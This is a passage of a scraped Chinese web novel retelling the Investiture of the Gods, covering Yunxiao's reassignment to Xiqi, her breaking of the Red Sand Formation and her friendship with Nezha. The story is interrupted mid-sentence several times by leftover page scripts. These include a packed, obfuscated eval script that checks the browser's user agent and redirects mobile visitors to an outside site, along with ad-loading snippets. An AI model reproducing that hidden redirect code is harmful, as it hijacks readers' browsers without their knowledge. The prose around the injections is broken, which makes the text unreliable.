他盘算着,自家弟子上榜的太多,跟直接死了永远受封神榜束缚相比,封存肉身暂时上榜,哪怕干个千万年的,也能接受。想达到这个效果,阐截两边就不能打的太凶…… 目光往阵中尚在昏迷的十二金仙身上过了一遍,通天觉得他还可以再争取一下。 于是故作严肃模样对云霄斥道,“你这孽徒,可知十二金仙有辅佐西岐之重任,怎能对师伯门下弟子下此重手?” 他说着,向元始提议,“不如就由云霄代替,入西岐辅佐武王,二哥以为如何?” “随你。”元始一脸平淡,好似跟云霄并无任何交集。 淡淡道,“十二金仙合该有此命数,也不怪他人,就按你说的来吧。” 他们两个师长简简单单的敲定了云霄的去处,她一下子都没反应过来,就已经转换了阵营。 又听到通天训诫,“云霄,此次封神劫中你就由你二师伯驱使,定要敬他如为师,好好侍奉,不得违逆。” 云霄:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702134|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 敬祂如师?好好侍奉?像道侣那样侍奉吗? 然通天全不知自己是在送羊入虎口,又顺手甩锅, “这孩子不知从何处招惹了一个精通时空法则的恶徒,二哥你是知道的,我不擅此道,还需劳烦二哥看顾一下,能抓到那恶徒最好。” “恶徒本徒”瞥了云霄一眼,勉为其难答应, “也罢,本尊看顾她一二便是。” 通天很快乐,觉得自己真是太聪明了,一下解决两个大问题。轻咳两声才忍住没笑出声。 “云霄还不谢过你二师伯?” 云霄此刻的心情真是一言难尽。自家师尊还是太单纯了,哪里能想到恶徒就是他拜托的二哥呢? 但她知道归知道,说也说不出口。只好憋屈的行礼,还道,“弟子叩谢二师伯。” “红尘不好久留,吾这徒儿交给二哥,我先走一步。” 通天高高兴兴的收回神念,青萍剑卷起四个女弟子的肉身回了碧游宫,只把云霄留下托付给元始。 这九曲黄河阵的主阵之宝就是混元金斗,之前被元始收了,相当于阵法已破了大半。云霄看看元始依旧无波的脸,索性撤了另外的一半阵图。 惑仙之诀一撤,阵中十二金仙并燃灯便随之转醒。 众阐教门人乍一醒来,看到元始天尊就知道是恩师亲自出手破了阵法,解救自己。 正待要拜见,却听元始唤,“云霄,你过来。” 燃灯,十二金仙,“???” 老师喊谁?云霄?摆九曲黄河阵那个云霄吗? 元始破阵是从外往里,云霄身为主阵者过来是从里往外,两人间恰好之前就隔着昏迷的十二金仙。 眼见十二金仙醒来,自觉跟他们有仇的云霄本来是不欲靠近的,存在感越低越好。现在被元始一唤,她只好绕过他们过去了。 燃灯眼尖,瞥到云霄自他们旁边路过,当即开口,“老爷,吾等正是被这云霄所暗算。您赐予姜子牙的法宝戊己杏黄旗也被她抢夺了去。” 广成子跟燃灯一向不合,这回却是有志一同告状对外。 “师尊啊,可怜弟子等千年修行,竟毁于一旦。” 他这个大师兄带的好头,其他人一朝从仙人跌作凡夫,哪怕早知是天数,对云霄这个直接操作的人也很有意见。告状自然跟上。 “师尊要为我等做主啊。” “我那徒儿杨戬,也深受云霄所害,而今天目受损,生死不知。” 云霄:“……” 这就尴尬了不是。 14.哪吒 “姜尚有四九之惊,需得有人相佐,尔等修为不若以往,往后就由云霄担当此责了。” 元始天尊此话一出,十二金仙都懵了,怀疑他们是不是还没醒过来。 前一刻还在告状的广成子不敢置信,“可她,她,她分明才……” 广成子的话在元始投注过来的目光下自动消音,没能说下去。 圣人淡淡道,“尔等遭逢劫数,自是难逃,无怪他人。” 天尊积威深重,纵然弟子也不敢对祂的话有丝毫异议。只是偷偷瞥向自家老师的眼神如同成汤那边被狐狸精妲己迷惑的纣王。 不应该啊!老师以前虽然没有明说,但对截教弟子的不喜还是能够窥见一二的。这次云霄可是害阐教丢了大脸,引来元始亲自出手。可老师怎么就轻轻放过了云霄,甚至还让云霄入西岐呢? 十二金仙想不通,暗道莫非他们以后也应该改改对截教的态度? 正担心自己这些徒弟们要失宠,又听自家师尊的声音响起。 “诸弟子削了顶上三花,散了胸中五气,便赐尔等纵地金光法,来往西岐。” 话说罢,一点金光飞出,在半空分成十二个光点,分别沉入十二金仙的识海中。 燃灯没有。 云霄旁观到这里,似有所悟。 十二金仙毕竟曾有大罗金仙修为,一会儿便领悟了纵地金光法,欣然老师还是爱护他们的。 元始又对云霄道,“你袖中那戊己杏黄旗却该还给姜尚护身。” “弟子遵命。” 云霄对杏黄旗并无眷恋,随手拿出杏黄旗,却感觉到旗子柔滑的布面缠着她的手腕紧了一紧,然后飞出阵外。余光一瞥,她腕上竟有一圈红痕。 怎么元始的法宝都这么凶残?这是在表达对她的不满?嫌她还的太快? 只因心中还有惦念,云霄只短暂发散了一下。 她直觉元始似乎不喜燃灯,试探性开口道, “但有一件,吾师曾赐定海珠于兄长赵公明,后被燃灯道友夺去,至今未还。还请二师伯做主。” 元始果真不怪她,微凉的目光落到燃灯身上。 “燃灯道友以为如何?” 燃灯嘴里发苦,他化形在灵鹫山,得寂灭之道,生来归属就在西方佛门。只是过去西方穷苦,他不乐意去,想在阐教占点便宜。 谁知近些年元始天尊给他的感觉却愈发琢磨不透,偶尔流露出的气息让他恐惧。致使他动了转投西方的心思。 恰好遇到赵公明的定海珠可以演化二十四周天,恰好补西方残缺的法门。燃灯想着自己若能炼化了定海珠,带着二十四周天前往,好歹也能混个三教主当当。不比在阐教差,才有后面这些事。 可是这反叛的心思,哪里能跟元始讲呢? 他心下一番挣扎。本是想借定海珠得道,未曾想如今连修为都被削了一半,幸而他是准圣,斩去善尸,回到灵鹫山后或者还能捡回一半修为,不然跟广成子等一样变成了凡夫,还谈什么以后。 眼下云霄逼的紧,又不知怎的得到元始维护。他也只能暂避锋芒,日后再做图谋了。 想到这里,燃灯洒脱一笑, “并非贫道贪图法宝,本是想亲手将定海珠还与通天教主,奈何一直脱不开身,既然云霄道友愿意代劳,自然是好。” 他说罢,果真利落的归还。准圣活得久就是有这点好,他不想拿出的东西谁都找不到。 二十四颗定海珠终于回来,云霄欣喜不已。 “谢二师伯。” 她是懂感谢人的,知道这次全是借了二师伯的势。 元始定定看她一眼,语气平淡, “一啄一饮,皆有定数。你无需向吾道谢。” 这话听在其他人耳中颇为冷淡,仿佛是单方面拒绝了与云霄产生新的因果。不要她的谢,下次自然也不会帮她。 广成子暗道,看来老师对这云霄也没什么特殊的。往后同在周营,倒也不用太忌惮她。 玉鼎真人跟广成子有同样的感想,当下也问云霄, “我徒儿杨戬为道友擒去,是否现在能放了他了?” 云霄迟疑的回答, “恐怕不能……杨戬现在红沙阵里。” “啊?这,你你你……吾徒是陷于你手,你怎能把他放去红沙阵!” 云霄默了默。也没人告诉她,还得对俘虏负责,让俘虏从一而终的在自己手上啊。 她只能说,“杨戬师侄肉身坚固,红沙阵伤不了他。” 玉鼎真人指着云霄半天说不出话,气的不轻。只能转向元始, “师尊,请您为徒孙做主。” 说也奇怪,元始一直没走,好像早知还有要自己管的事。 闻言对云霄吩咐道,“三日内,你可破了红沙阵,带杨戬上昆仑。” 三日内就要上昆仑? 云霄呼吸一窒,怀疑破阵和带杨戬恐怕都是为了让自己上昆仑的遮掩。有些小心地举目望祂, “诸位道友尚且被阵法阻拦日久,三日破红沙阵弟子恐怕也……不敢断言。” “本尊说你可以,你自然可以。” 祂说的很平静,然而云霄依稀觉得自己体内出现微弱的麻。她低下头,似乎看到皮肤表面冒出密密麻麻的红点。 警告? 一啄一饮,她是祂笼中的鸟,吃了祂喂给的食与水,自然要受其约束,失去部分自由。无论天涯海角,皆在祂掌控之中。去不去昆仑又有什么差别? 天尊留下这句话便起身上辇,回驾昆仑。仿若不愉。 众弟子目送九龙沉香辇离去,回望云霄,都有些幸灾乐祸。 广成子自觉要替老师敲打下云霄,走过去问,“道友可知阐教之义?” 云霄以袍袖遮住手背的皮肤,冷淡答,“不知。” 广成子笑道,“顺天者昌,逆天者亡。吾师所言,即是阐明天理。” “如此——” 云霄亦是笑问,“道友可知截教之义?” 她不等广成子回话,兀自答曰,“截取一线生机,我必奉行。” 广成子笑脸微僵,斥声“不知好歹”,摔袖离去。 其他人自知此时也对云霄无能为力,跟着大师兄的步伐离开。 唯有燃灯上坐骑仙鹿后,又笑着来了一句,“道友前日还为殷商效力,今日又入西岐,所敌皆是同门,莫要伤了一家和气啊。” 云霄懒得跟他虚伪,只说, “我尊师命,自然问心无愧。” 她说罢,一个眼神也不给他,出阵自去。 尽管嘴硬说问心无愧,真出了阵遇到闻仲闻太师,云霄还是有些难以启齿。叹道, “师尊法旨,令我投身西岐,抱歉了闻师侄。” 闻太师面色凄楚,惶惑的问,“师祖也放弃成汤江山了吗?” 云霄摇头,劝慰他说,“圣人万劫不灭,天地大劫尚且不能影响圣人,人间的王朝兴替岂能说放弃?师侄自幼入金灵师姐门下,还是应当谨记自己是修士,莫要忘了本心。” “吾受国恩,官居极品,以身报国,理所当然。” 他历经三朝,忠于这个王朝的信念已经融入骨血,放不下的。 闻仲对云霄拱了拱手,转身骑着墨麒麟离去。下次再见,就是敌军了。 云霄只身去了周营。只因早有消息传回来,姜子牙待她无比客气。本该设宴相迎,向她介绍营中将士,却被云霄拒绝。 只言今日变故太多,待她休整一日,后天破了阵,再认识也不迟。 如今武王身陷红沙阵已有九十日,云霄能破阵,在姜子牙眼里比什么都重要。对她的话无有不应。 仍旧是找了个干净营帐,安安静静,云霄坐在蒲团上,脑中却是思潮涌动,不得清净。 尽管在战场上做出了选择,可真正过了那个时间段,她还是难以全心全意的接受。 她问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726205|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己,这个选择真的对吗?元始到底看中她什么? 对昆仑,对祂的恐惧似乎已经镌刻在本能里。云霄不知道,自己是否真的能够达成元始想要的目的。如果不能,她会如何?身死道消?还是……变得不再是她? 云霄不敢去回忆异化的感觉,只要动念,似乎她的身体就会变得不一样。最初是身体,血脉,然后是元神,如果连意识都变得不再是她,那么她又是谁呢? 她不知道…… * 休整了一日,云霄在姜子牙的陪同下来到红沙阵外。 十天君仅剩的红沙阵主张天君出来与云霄见礼。 叹道,“本来师姐若是开口,我二话不说就该撤了阵法。奈何我十天君已有九位死在西岐,师姐我……” “我明白。师弟请去布阵,我自入内。” 云霄表示理解。他们本是同门,现在一个有师命难违,一个背负着结义兄弟的仇恨,便是无法善了的。 “师姐请。” 云霄入得阵中,发现此阵精妙,与她的九曲黄河阵有些相似。都是按天地人三分,置身其中,上不知天,下不知地,中不知人。又内藏红沙三斗作为攻击所用。 张天君到底顾念同门之谊,没有立刻动用夺命的红沙。而是留给云霄师姐看阵。 她走到深处,见阵中心有一王族,一鸟人,一三眼真君,具是昏迷不醒。 三眼的自是杨戬,王族应是周武王,鸟人云霄没见过,大概又是阐教弟子。 然而除了这三位以外,紧挨着他们,还有……一堆藕? 红沙阵里,怎么会有藕呢? 云霄想不通,她的注意力情不自禁被那堆藕吸引。拿起来一根来看,没错,真是一堆藕。目测还是仙品,淡淡的金色,莲香扑鼻。只是长得不甚整齐,有大有小,有长有短。 再仔细看看,莫名还让她有种熟悉的感觉,但说不上来是哪里熟悉。 她看得出神,未料身下突然传来一慵懒青葱的少年音,道是, “你如果馋了,我建议你还是吃我的右腿,右腿比左腿的口感脆得多。” 云霄第一时间警惕,灵诀已掐稳,待循声望去,才发现说话的竟是一节藕。 那节藕圆圆短短,看着像个脑袋,还长出了眼耳口鼻。见云霄看过来,藕的脑袋翻了个白眼,挥动一条右边长胳膊似的藕,从另一边的胳膊上掰断一截,大概是左手的部位,放在嘴里开始啃。 “咔嚓咔嚓……” 嚼嚼嚼,声音清脆,连续不断。 起猛了。看到藕在吃藕。 “你哪儿来的呀?” 藕人抬眼看她,明明是瘫在地上,五官也不甚清晰,偏偏给人一种桀骜不驯的狂傲之感。 云霄一脸古怪,“你们莲藕精都自己吃自己的?” 藕人没有反驳莲藕精这个称呼,仍旧是那副吊儿郎当的模样,啃着自己的左手臂,一边咔嚓咔嚓,一边说, “我在这里被困了九十几天,又没人说话,除了吃藕还能干嘛?” “左臂最甜,右腿最脆,腰的九孔排列最整齐,加热炖汤最粉,我师父吃了都说好。” 藕人说着,“呸”的吐了个藕节,才继续吐槽, “啧,老头子还是年纪大了,牙口不好。不脆的藕怎么能好吃嘛。” 云霄一时没绷住乐了。什么精怪啊,还把自己吃出经验来了? “你这样说,不怕你师父听到了教训你?” 藕人继续嚼嚼嚼,“怕个卵子,难得小爷看你顺眼,等我出去了请你吃全藕宴。” “也不是不行。” 云霄看了看手中的金藕,不知是不是被对方一直咔嚓咔嚓的感染了,她竟也生出两分对这藕的食欲。 打住,自从被元始污染,她有时都觉得自己不像人了。 云霄问道,“你叫什么名字?” “哪——吒——” 藕人拉长语调回答。 15.破阵 哪吒自顾自啃完了一节手臂,好似漫不经心地问云霄, “你有爹妈没有?” 云霄摇摇头,温声答,“我乃白云所化,并无父母。” 她才与两个妹妹分开,见这藕人虽说话有些桀骜,性子倒也古怪的讨喜,莫名让她感到亲近。看他一直嚼嚼嚼的,仿佛自己沉闷了两天心绪,也变得开阔了一点。 云霄自来随性,喜欢来的莫名其妙她也欣然接受。故而对哪吒那明显有些冒犯的问题,毫无保留的回答。 “嘿嘿,挺好。” 听到云霄的答案,那藕人看上去竟十分愉悦。金藕做的脑袋左右摇晃,“没爹妈好,没爹妈好啊!你叫什么名字?” “云霄。” 想是见他们交谈久了,让主阵的张天君觉得不需要再给云霄熟悉阵法的时间。她方才说出自己的名字,便有一片红砂警示般飘了过来。且不对云霄,而是打向地上的金藕哪吒。 云霄一侧身,举剑横于藕人身前。 宝剑与那巴掌大的红砂相碰撞,剑身上便生出深红的铁锈,被加速腐朽了一般,在她手中碎裂。 她赞叹,“师弟好厉害的红砂。” 这红砂比不上云霄的金蛟剪是先天之宝,可纯粹是由张天君祭炼出来的。此等化凡为仙的手段,云霄故有此赞叹。 “师姐,得罪了。” 张天君的声音飘飘忽忽传来,一片红砂未能伤到云霄,随即又有□□片破空而来。连带方才腐朽了她宝剑的一片,也重新从断裂的剑身中再度脱出,飞向地上的哪吒。 红砂沾身即腐,眨眼的功夫就将半数堆积的金藕化作烂泥。那藕人哪吒对自己也够狠,脑袋直接脱离,把完好的自己四分五裂开来。像死了一样。 那红砂一下子没了目标,不再寻哪吒,跌跌撞撞打到那盘膝而坐的杨戬身上。奈何杨戬的肉身堪比先天灵宝,红砂只能给他皮肤表面增加一点浅浅的瘢痕,须臾间也就消散了。 云霄看着装死的藕人,暗道若是按这种抵抗红砂的方式,过去九十日里,也不知他把自己分解了多少次。才能养成那般对自己身体毫无顾忌的模样。 想到这个可能,她微微蹙眉,竟有些难言的烦恼。 云霄也不知自己与哪吒因何一见如故。但喜欢就是喜欢,也无需多想。遂取出混元金斗,放出金光数道。把哪吒分裂的几截莲藕身子尽数吸到金光下用混元金斗护着。 用以前哄妹妹的语气对他说,“你在这里乖乖的不要乱跑,我破了阵就回。” 混元金斗是通天所赐的先天灵宝,能收人,也能防身。不是张绍后天祭炼的红砂能破防的。 哪吒的五官又从金藕里冒出来,带着几分慌乱的喊云霄, “你把防身的东西给我,那你用什么?” “我不需要。” 她的确不需要。 云霄稍一振袖,金蛟剪化作两条蛟龙护持周身。但有红砂飞来,蛟龙便举头迎上。红砂的腐朽之力仅能让蛟龙的鳞片黯淡丝毫,无法损害到她。 哪吒见此放心了,安安心心的在混元金斗下一瘫,一点点长出新的躯体。 随着云霄逐渐深入中心,阵法之妙便显现出来。 那红砂明明只有九十片,又好像无穷无尽,有的真,有的虚,漫天红雨凋零肉身,无法分辨。 云霄观察了片刻,以逆行九宫的路线前行,以此穿过天阵,地阵,到达人阵的中央,也是主阵之眼。张天君早已在此等候。 上得八卦台,与张天君面对面。云霄便收了金蛟剪,抬手做了个道揖,“师弟,承让了。” 张绍惯常苍白沉默的脸上泛起一抹红,眸中释然生光,微笑着还礼, “师姐是懂阵法的人,红沙阵破于你手,我已无憾。但我有一请求,还望师姐莫要推辞。” 他一身本事尽在阵法和红砂之上,云霄走到八卦台上的那一刻,他已经输了。 “同门切磋而已,谈什么求呢?” 云霄笑着说,“师弟请讲。” 张天君退后几步,大声道,“请求云霄师姐,代我向师尊告罪。” “告罪”的余音声音飘散在风中,他竟含笑引爆了肉身,一缕元神奔着封神榜飞去,寻他的九位兄弟了。 “张师弟不可!” 云霄被打了个措手不及,她从未想过,张绍会因自己阵破而死。 “你我同门,叫我如何与师尊交代……” 在她无措的眼中,张天君的肉身化作一片红沙随风飘逝,只留下一小把祭炼过的红沙轻轻落在云霄手中。 不多不少,正好十粒,仿佛无声的在宣告他此举的决心。 昔日十人结拜,今十天君逝去其九,余下他岂能独活?张天君早有求死之心,只是作为修士的尊严不允许他在阵法被破以前认输。这才留到了今日罢了。 此刻,云霄手持十粒红砂,已成了红沙阵的主人。 红沙阵中本不见天日,被其布阵者的自爆冲开了一道口子。外界的暮色隙入,红沙漫天。 云霄抬头追随着红沙望去,饮足了同门鲜血的晚霞格外艳丽,似是嘲讽她的幼稚和不自量力。 你以为救下了几个师妹很了不起?你以为仅靠自己就若非能改变命运?可笑。若非元始天尊一番算计,天数,哪里有那么容易改变? 她抬头看,那嘲讽来自于天空。她闭上眼,那嘲讽来自于体内。 祂分明不在,可处处是祂的影子…… 打住!云霄尽可能保持理性,恍惚间听到有人在喊, “喂——” 她缓缓睁开眼,见一雌雄莫辨的美少年,玉面娇容。梳双抓髻,穿着红莲战甲,倒提一把火尖枪,似是红日落入人间,大摇大摆的来到她面前。 那少年一手提枪,伸出另一只手在云霄眼前晃晃。待她视线聚焦过来,方才展开攥着的手,一朵金色的莲花从他掌心生长出来。 少年生硬的往她面前递了递,几乎是塞到她怀里,“看你在这儿站了半天,送你朵花,高兴一点。” 云霄怔怔接过,见金莲花有二十四瓣,有花无蕊,也无根茎,却尽态极妍,香气清雅,仿若带着淡淡的檀香味。有些熟悉,莫名能引动人的食欲。 “……哪吒?” “嗯哼。” 方才的藕人,此刻的美少年把火尖枪在身后扫了扫,像是在遮掩他的不自在,故作烦躁, “真是烦死了,难得小爷看个人顺眼,没想到是截教的人。让老头子知道我跟你玩,肯定得训我。” 云霄收敛了心绪,问哪吒, “你家师父是谁?” 哪吒高昂着头,“家师阐教太乙真人。” 他是根正苗红的仙三代。 云霄笑笑,平静里藏着一丝不易察觉的叹惋, “哦,那恐怕他不会让你跟我玩了。” 分明她是学着他的说法,可哪吒又不高兴了。冷哼一声,火尖枪往地上一捅,叉着腰放话, “哼,我堂堂大周先锋官哪吒,阐教三代弟子里最厉害的一个,我能听话?你等着,我回去就请你吃全藕宴,在乾元山请!” 乾元山金光洞是太乙真人的道场。哪吒这样说,可谓是打算着要戳师父的肺管子了。 在红沙阵里憋屈了九十天,他好不容易硬气起来,却听有人冷不丁开口,“不见得。” 云霄一看,说话的原来是那个身份不明的鸟人。 见他面如青靛,发似朱砂,眼睛暴湛,獠牙横生,长出于唇外,身躯足足长有二丈高,一对风雷双翅收缩在背后。看外貌真就是个鸟人。 哪吒已经掐腰开喷,“雷震子,你说什么不见得?” 雷震子外观看着可怕,说话却是老老实实,一板一眼的。他道是, “阐教三代你最厉害,不见得。” “哦,你不服?那咱们打一架?” 哪吒摩拳擦掌,他可是憋了九十多天了,正愁没人松松筋骨。 雷震子摇头,闷着憋出一句, “我不如你,我就是觉得杨戬师兄不比你弱。” 哪吒瞪他一眼,气得头发都飞了起来,“小爷早晚跟杨戬比个高下。” “恐怕不行,你现在跟我比,我一定不如你。” 说话的人正是杨戬。云霄见他天目闭合,两眼无神。想来眼睛并未痊愈,也不知是如何辨位来到此处。不得不说,眼前这几个阐教三代倒是比他们的老师要强多了。 哪吒凶巴巴的回复杨戬,“你说是不如就不如,比过才知道。” 杨戬却只笑笑,如实告诉他理由, “我瞎了。自然不如你。” “谁干的?我去帮你报仇!”哪吒瞬间冷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下脸,怒意勃发。 听到此处的云霄微微垂眼。她恢复了记忆,只道杨戬会瞎完全是元始的锅,她可不背。 “你别急,这事怨我自己。” 杨戬摇摇头,阻止了哪吒发疯。复转向云霄,语声温和道,“没想到会是云霄师叔来救我等。 他却是聪明,只口不提自己是被云霄导致瞎了眼,又被她利用完嫌麻烦丢进来的。 她心里有一杆尺,泾渭分明。被她所喜,纳入保护区的,可谓倾心相护,竭尽全力的好。比如云霄对两个妹妹,对通天,乃至今天一见如故的哪吒。而与之相反,令她无感或者排斥的人,就非常冷漠了。 杨戬运气不及哪吒,就属于后者。 听了杨戬的话,云霄轻叹声,看向哪吒,缓缓道, “前两日十二金仙应天数入我九曲黄河阵中,被削了顶上三花,具成凡夫。二师伯亲至破了我的阵,与吾师约定,令我接替十二金仙辅佐西岐。” “什么?”哪吒眼睛睁大。 “具成凡夫?那我师父也……” 杨戬温和的表情不再,露出两分焦躁。 云霄叹口气。她看得清楚,哪吒虽然嘴上吐槽太乙真人是老头子,可看他对杨戬的态度也知道,这少年口是心非,嘴上不饶人,心里比谁都在意。 所以得知哪吒的师父是太乙真人,她就知道,恐怕这段来的莫名的友谊会很短暂。 果真,哪吒低下头不发一言,握紧了拳头,没有看她。云霄早知会如此,然而真到此刻,还是感到有些难过。 正惋惜时,又听杨戬问, “师叔所言应天数,是吾等师尊斗法输给你了吗?” 云霄摇头答,“不曾。除了广成子、赤精子和燃灯,其他阐教道友都是口称天数注定,自行入阵的。” “嗤,天——数——” 少年拉长了语调,是熟悉的阴阳怪气。 云霄似有所感的看向他,只见哪吒突然语调一转,带着几分孩童似的得意问她,“师叔呀,你那般愁眉苦脸的,是不是怕吃不到全藕宴呀?” “……算是?” “小爷就知道,你一看到我,就馋我身子。” 哪吒叉腰仰头,好不得意。 “老头子脑袋不好,以前也拿天数拿捏我,只是我没听。他跟你论他的,我跟你论我的。不过到时候我请你去乾元洞吃宴可能有点难了,只能勉强吃我的样子。” 他说着,仿佛来了兴致,掰断左臂成三截金藕,还给杨戬跟雷震子一人分了一节。 “拿去拿去,都别跟我客气。” 杨戬和雷震子对他的秉性十分熟悉,一点也不客气地吃起藕来。 云霄忍不住失笑一声,加入队伍。 这藕,真的又脆又甜。 一时之间,咔嚓咔嚓的声音组成大合奏,有种诡异的和谐。眼看着金藕快要吃完,哪吒的左臂也长了出来,忽闻一声苍老的哭喊,刺破了这片和谐氛围。 “吾王!武王啊——” 几人循声望去,原是姜子牙抱着那仍旧倒地不起的王族,哀恸不已。 他们一群仙门中人闲聊,并无人在意迟迟未醒的那个人。不想那武王竟是死了? “不妙!” 哪吒一拍手,“师祖说要辅佐武王伐商,可成就功德圆满,这武王都死了,咱们辅佐谁去啊?” 诸人面面相觑,还是云霄修为高深,硬着头皮过去看。见武王气息全无,肉身未腐,以上清灵光照他,照见那武王前后心有三道金光闪耀的符咒护住心脉,当即便松了口气。 “还好,有救。” 姜子牙大喜,“请云霄道友救救吾王。” 云霄自然不会推辞。 却在她专心解开符咒救回周武王之时,雷震子悄悄拍了下哪吒,小声与他说话。 “干嘛?” 雷震子道,“你对那截教师叔太殷勤了点,不像平时的你。” “你说这个……我也不知道为什么。” 哪吒歪头看着云霄的背影,莲花瓣形状的眼睛半眯起来,亦有几分怔忪与不解。 “大概是,她眼睛里藏着愁思的样子像我以前的娘?” “不对。” 老实孩子雷震子看了看哪吒的脸,语出惊人, “应该是你长得跟她有点像。” 16.再上昆仑 被云霄救醒后,得知云霄是截教出身,周武王姬发意外的热情。哪怕云霄坦言,护住武王心脉的三道符咒乃是阐教的手笔,也不妨碍武王对截教的浓厚兴趣。 晚间周营里,设下欢庆武王归来的宴席。 姬发举樽向云霄祝酒,“听闻截教万仙来朝,仙姑乃截教外门弟子之首,往后可莫要吝惜为本王引荐啊。” 云霄笑着接过姬发递过来的酒,看他眼底深藏的野心,颇有一种想要天下英才入吾彀中的壮志豪情。 道门以凡人商周之争为棋,人王又以道门弟子为棋子,是谁利用了谁,倒也说不清了。云霄只叹,若非两个妹妹劫数难逃,她是万万不乐意身入棋局的。可事到如今,也只能接受了。 “若有机缘,自然得见。” 她微笑着应答了两句,便以三日内要上昆仑之言告辞。 大概知道云霄破了红沙阵,救出武王,无人能抢她的风头,十二金仙和燃灯今日并未出席。 云霄走出设宴会场,便瞧见哪吒抱着他的火尖枪坐在一营蓬上,篝火掩映着他的背影,将面容置于黑暗中,只有咔嚓咔嚓的魔性声音断断续续。 他真的很喜欢吃自己。喜欢到有些病态。 须知即便草木之精的躯体可以无限生长,但也是要耗费气血和法力的。云霄记得教中有个人参成精的弟子,对自己的肉身极其在乎,掉根头发都要大呼小叫。哪里像哪吒这般,仿佛跟自己的肉身有仇似的。 云霄驻足犹豫了两息,想想还是不去打扰他,正要离去,一个藕节扔下来,挡住她的去路。 “哪吒。”她停下来喊他。 哪吒动也不动,只有声音传来。 “不好意思,手滑。” “你在等我吗?” “我谁也没等。” 少年跷着腿摇晃,一副满不在意的姿态。 云霄点点头,“哦,那我走了。” “等等!” 见她转身要走,哪吒终于绷不住跳了下来,带着几分焦躁的情绪问她,“我听说,你要带杨戬上昆仑。” 云霄轻轻嗯了一声,他烦躁的把自己的手指掰断,拉出丝,又接回去。一脸不高兴。 “玉鼎师叔又没走,为什么偏要让你带他去?” “是你师祖口谕。”她也不想去啊。 “那要待多久?” “我也不知道。” 毕竟杨戬或许只是借口顺带的,她才是真正要上昆仑的人。 云霄顿了顿,甚至怀疑自己去了玉虚宫还能不能有走出来的时候。 只能猜测,“也许,要等杨戬的眼睛治好吧。” 哪吒骂了一句什么,说的太快,云霄也没听清。就见他在那儿来回的掰手,一根接着一根的,焦躁又不安。 别人掰手只是听个响,他却是生生扯断了,不出血,只是藕断丝连。看着却莫名瘆得慌。 “不疼吗?” “习惯了。” 她还是没忍住,上前抓住了哪吒的手,拎着他的几个手指头都安了回去。温声道, “你少吃点藕,我回头给你带碧游宫的仙果和东海的鱼干好不好?甜咸酥脆都有,炖汤也香的。” 哪吒盯着云霄的动作呆了一会儿,不知道回忆起了什么,眉宇间的桀骜仿佛被抚平了,显出几分孩童般的乖巧。别别扭扭道,“既然你这么有诚意,我吃点也行。” 她笑的温柔,“好,那你等我从昆仑回来。” 听到昆仑,哪吒仍被握住的手猛地一颤。那种惊惧仿佛是从骨子里迸发出的,让云霄心里也跟着颤了颤。 “师叔呀——” 哪吒拉长了语调,用叹息一般的语气喊了她一声,然后小声说, “看在师叔你在红沙阵里救了我一次,我告诉你几个阐教不外传的秘密。” “上了昆仑,要时刻留意玉京山的天空,白天的玉虚宫一切安全,如遇黑夜,尽快找到白鹤童子给你引路。” “玉虚宫有许多白鹤,但只有一个白鹤童子,不在师祖面前的白鹤说的话皆不可信。” “三清殿外种着的是一颗先天灵根黄中李,白天看不到,夜晚的黄中李会吃掉你的眼睛。” “师祖无处不在。” “不要直视师……” 哪吒的声音一声比一声轻,最后一句的“师祖”低到云霄几乎听不到,话音未落,他好像虚脱了般,一头栽了下去。 云霄欲去扶他,入手却是一滩烂泥的触感,融化了从她手指缝里滑了出去。 “哪吒!” “没死。” 巴掌大的藕人从藕泥里努力钻出个小脑袋,一边往外奋力的爬,一边吐槽, “糟老头子坏的很,说几句话有什么大不了的,还好我是莲花化身,没有人魂……” 看他还能说话骂太乙,云霄才。她没想到哪吒会给她透露阐教的秘密,更没想到只是说这几句话就能让哪吒受到这么大的反噬。 她俯身把那巴掌大的小莲藕人提起,放在掌心,关切的端详着他。 “你怎么样?是伤了哪里?” “别这么看小爷,又没什么大不了的。” 哪吒踢踢腿上沾的藕泥,“死不了,我回去泡一晚上水,明天就长好了。” 云霄心下微松,才要继续叮嘱他不能说的别说,便听到杨戬的声音远远传来。 “哪吒,你又犯禁。” 火光映照中,见哮天犬长到半人高,杨戬手扶在哮天犬背上,看起来行动如常。 “若非太乙师伯失了修为,你恐怕又要在九龙离火罩里反省。” 云霄转身看向杨戬,微微皱眉。 什么叫在九龙离火罩里反省?那个太乙真人就这样教徒弟吗? 哪吒冷哼一声,人小了脾气却一点不小,叉腰放言,“想告状你就去,这次烧不死我,下回小爷就去你的床上放火。” “除了第一次你我不认识,我哪次不是帮你瞒着。” 杨戬摇头叹息,无神的眼看向云霄,沉声道,“三日之期将至,云霄师叔,该动身了。” * 与杨戬同坐在青鸾背上星夜赶往昆仑,云霄一路沉默,脑海中还在思考哪吒的几个警告。 与其说警告,那更像是总结的在玉虚宫生存的规则,其中隐藏着玉虚宫的大秘密。 第一条里有白天与黑夜之分。云霄回忆起她第一次去昆仑的经历,空中没有日月,混混沌沌,但还算明亮,应该是白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天? 